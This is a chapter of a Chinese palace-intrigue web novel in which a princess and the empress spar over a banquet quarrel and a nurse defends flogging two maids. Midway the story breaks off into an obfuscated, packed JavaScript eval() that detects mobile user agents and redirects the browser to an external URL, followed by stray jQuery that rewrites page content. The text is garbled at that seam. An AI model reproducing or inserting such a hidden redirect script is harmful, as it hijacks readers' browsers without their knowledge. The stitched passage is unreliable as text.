5. 第五章

作品:《嫁给死对头竹马后成了独宠

    长乐宫


    春季里的天气,反复无常,夜里下起了下雨,长乐宫的宫人提着灯笼守着门。


    屋里灯火通明,皇后端起精致的冷玉团子,笑意满满的递给槿桑。


    舜华长公主瞥了一眼,淡淡道:“她食不得寒物。”


    皇后讪讪的收回了手,温声道:“是妹妹疏忽了,槿桑生来有些寒症不足,宝珠,去从库房里把那个上好的紫参拿出来。”


    丫鬟宝珠为难的看着皇后,开口道:“皇后娘娘,那紫参是皇上在您大婚时候赐的,咱们宫里也就一支……”


    “多嘴,快去拿,本宫与长嫂不分彼此。”皇后看了一眼舜华长公主。


    舜华长公主此刻也静静坐在那,抬眼望着皇后。


    今夜的国宴,舜华长公主始终都是以旁观者的身份坐在那里,没有出口严惩两位皇子,这倒是在皇后的意料之外。


    当年,舜华长公主容貌倾城,极受先帝宠爱,在东朔别人是子凭母贵,太后却是母凭子贵,凭着舜华长公主被封妃,故此更加疼爱这个女儿。


    舜华长公主虽然被宠的个性娇纵,但个性好胜,无论琴棋书画,皆为一流,在京中无人不晓。


    皇后料定她是个忍不得气的主,却忘了数十年的磨砺,早已把这块美玉打磨的更加圆润,让她捉摸不透。


    “不必了,边境虽远,这紫参倒也不缺。”舜华长公主轻勾唇角,意味深长:“今日之事,待到我跟太后请安之时自会解释。”


    皇后微微牵了牵唇角,“有劳长嫂了。”


    槿桑倚靠在舜华长公主的身侧,惺忪着双眼,睫毛煽动,“母亲,我困了。”


    “还不是你惹下如此祸事。”虽是责怪,舜华长公主的语气却格外温柔,她把槿桑抱入怀里,将她额前的碎发撩过耳后,担心涂着朱红蔻丹的指尖划伤女儿肌肤,动作很轻。


    槿桑半眯半睁的蜷缩在舜华长公主的怀里,小声嘟囔:“还不是他们恃强凌弱,若是在博陵,他们早被军法处置了。”


    “不长记性,这里是皇宫,不是博陵。”舜华长公主拍了下她的后背,瞥了一眼皇后,“今日若没有你舅舅出面,你身上就算是多一百道伤痕也未必能得到一个公正。”


    舜华长公主虽然远在博陵,但是钟离桑的威名也是知晓的,这个五皇子自小天资聪颖,文采斐然,而且精通兵书和政治,是个不可多得的奇才。


    她早就在心中揣测,钟离桑是最有可能继承皇位的人选。


    今日若是换了旁人,宣帝断不会当众去责罚钟离桑,这无异于打了萧家和惠贵妃的脸面。


    皇后摆下的这个圈套,倒真是用舜华长公主打住宣帝的七寸。


    “还不是那个五皇子,要不是今日国宴不能带我的伞器,我才不会被他扭住手腕推进河里呢。”槿桑越想越不服气,要是她拿着武器,提前就可以反击钟离桑,没准就是他被丢进河里了。


    舜华长公主跟女儿说话声音柔和许多,指尖点了一下槿桑的额头,“你还不服气?你总是这样舞刀弄枪,以后京都谁还敢娶你?”


    “反正我不要这些皇亲贵族,一个比一个专横跋扈。”槿桑噘着嘴,想起钟离桑,困意消散了大半。


    “不嫁皇亲贵族,难不成你还要找个酸秀才或使市井小贩?那样的苦日子,你一日都未必过得下去。”舜华长公主一脸正色,语气微微不悦:“再说了,这天下能配得起你的人,母亲心中有数。”


    皇后听到这话,沉默半响,想起密探汇报这些年惠贵妃拉拢舜华长公主的事情,强撑起笑容道:“槿桑,你觉得五皇子如何?”


    槿桑脸色微微一变,摇了摇头,“我不要!!那个钟离桑翻脸比翻书都快,最是讨厌!!我踩钟意满的时候,他还是紧张的神色,然后突的就变了脸色跟我交手,推我入水的时候,还一副皮笑肉不笑的破样子。”


    让她嫁给钟离桑,还不如让她一头撞到冻豆腐上去。


    皇后正欲开口,被舜华长公主打断:“你还踩了八皇子?”


    槿桑懊恼的咬了一下自己的舌头,心想自己怎么嘴快把这个事说出来了。


    “母亲,我错了。”槿桑略带讨好的抬头,大眼睛溜溜的转,有些可怜兮兮的说:“您可千万不要告诉父亲,更不能跟哥哥说,不然他们会让我抄一百遍女诫的。”


    “算你还是知道怕的。”舜华长公主语气放缓,“这次依了你,若还有下次……我同你父亲哥哥一起罚你抄书。”


    “不会了不会了。”槿桑搂着长公主的脖子蹭了两下,声音软糯糯的,“母亲最好了。”


    “也罢,你今日受惊了”舜华长公主安抚着槿桑,对旁边的苏姑姑说道:“苏菱,把郡主带回去休息。”


    槿桑心里清楚母亲一般这样说,就是要说密事,纵使心里不情愿,还是起来,施施然给母亲和皇后行了礼,柔声道:“那母亲和姑母可要早些休息,槿桑告退。”


    “快去歇着吧,好孩子。”皇后点头示笑,一脸欣慰,看着槿桑落落大方的样子,倒是当得起陌家嫡女的身份。


    舜华长公主看了一眼苏姑姑,吩咐道:“苏菱,告诉伺候郡主的人,记得在睡前给郡主再擦一遍药,喝碗姜汤。”


    “奴婢遵命。”苏姑姑点头,行好礼后牵着槿桑的手出了宫殿。


    即便是不可一世的舜华长公主,在孩子面前也是收敛脾性,温柔和蔼。


    想到这里,皇后眼神黯淡了几分,若是自己有个亲生的孩子在侧该有多好。


    ……


    槿桑刚出宫门,就迫不及待的问道:“苏姑姑,怎么不见阿绣跟小萝卜?”


    阿绣和小萝卜是槿桑对她们的称呼,这两个侍女原名罗玉绣和罗玉白,从小陪着她,平日里影形不离,此时却不见人,不禁让她有些担心。


    “奴婢先送郡主回去。”苏姑姑是长公主的陪嫁女官,也是从小看着槿桑长大的姑姑,槿桑总觉得她始终都是冷冰冰的表情,每次说话都是一副公事公办的口气。


    “我在问我的贴身侍女去哪了?”槿桑提高音调,“是不是母亲惩治了她们?”


    苏姑姑依旧面色淡然,双手交叠在身侧缓缓施礼,回道:“回禀郡主,舜华长公主没有罚她们。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940476|177330||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    槿桑松了一口气,“那就好。”


    “是奴婢罚了她们每人二十鞭笞,现下正在府中受刑。”苏姑姑声音不卑不亢。


    “是我听说御花园景致好,想着去看看木槿花,偷偷跑过来的。”槿桑平日里跟这两个侍女感情最好,听到她们被打,心生恼意,语气也有些不悦,“而且与五皇子发生口角的是我,整件事情她们都没有干系,你凭什么责罚她们?”


    “就凭她们没有跟好郡主,让郡主受惊,置于危险之中。”看着槿桑不怒自威的样子,苏姑姑的眼神里闪过一丝欣慰,不愧是她主子的女儿,那股与生俱来的威仪,令人不容小觑。


    “若是郡主今日真的出了事情。”苏姑姑站直身体,一脸平静,说出的话却残忍无比,“所有跟着郡主的奴才连同族人都要一并处死。”


    “二十鞭笞,是给她们一个最轻的教训,一则提醒她们记住时刻不能离开主人,二则也是要她们知道郡主就是她们的命。”


    苏姑姑的一番话把槿桑说的哑口无言。


    母亲曾说过进入这宫墙后,所思所为皆要顾全大局,槿桑的心里顿感一阵烦躁,看着朱红的宫墙,又不知道会有多少的事情。


    才来京都的第二天,她的心里从好奇转为不喜,比起远处博陵的安宁,京都繁华的背后处处都暗藏着危险。


    尤其是人心各异,令人难以揣摩。


    ……


    舜华长公主知道皇后再三请她前来一叙定是有所求,所以支开了女儿后,也不着急问,静静地坐在一旁品茶。


    皇后盯着舜华长公主,宽慰道,“说到底,还是皇上看重长嫂和兄长,这么多年,皇上一直对五皇子和八皇子宠爱有加,不想今日当众重责罚,只怕惠贵妃心里要记恨起长嫂了。”


    舜华长公主的茶盏磕住茶杯,发出“叮咚”一声,转眼迎上皇后的视线,冷笑一声:“那不是正合皇后的心意。”


    皇后明显顿住,强做出笑容:“长嫂这话可就是折煞妹妹了,八皇子一向恃强凌弱,太后又偏宠多年,五皇子文武双全,生母惠贵妃有最得恩宠,妹妹又怎么能撼动得了他们。”


    “所以,你想到了本宫。”


    舜华长公主脸上略过淡淡的嘲讽,继续开口道:“本宫膝下单薄,唯有这一双儿女,自从嫁给镇北侯,十数年久居博陵,如今刚回京都,正巧与皇后最不对付的惠贵妃发生了争执,其中利弊显而易见,皇后又何必在本宫这里做戏?”


    皇后脸色变得很难看,舜华长公主虽然是她名义上的嫂嫂,但她还是太后唯一的嫡亲长女,皇上的嫡亲姐姐,不管在以前还是现在,舜华长公主都不把自己放在眼里。


    “长嫂消气,是本宫管理不善,让槿桑受了委屈,本宫向长嫂赔罪。”皇后念着当年舜华长公主的恩情,始终在她面前始终矮上一截。


    “只是管理不善?应是自作聪明才对。本宫本不愿多言,但是皇后也莫要把别人都当成傻子,惠贵妃能盛宠不衰,自然也不会被轻易蒙蔽,本宫既尚了镇北侯做驸马,当你是一家人,也不想同你再演下去,今日之事,只此一次。”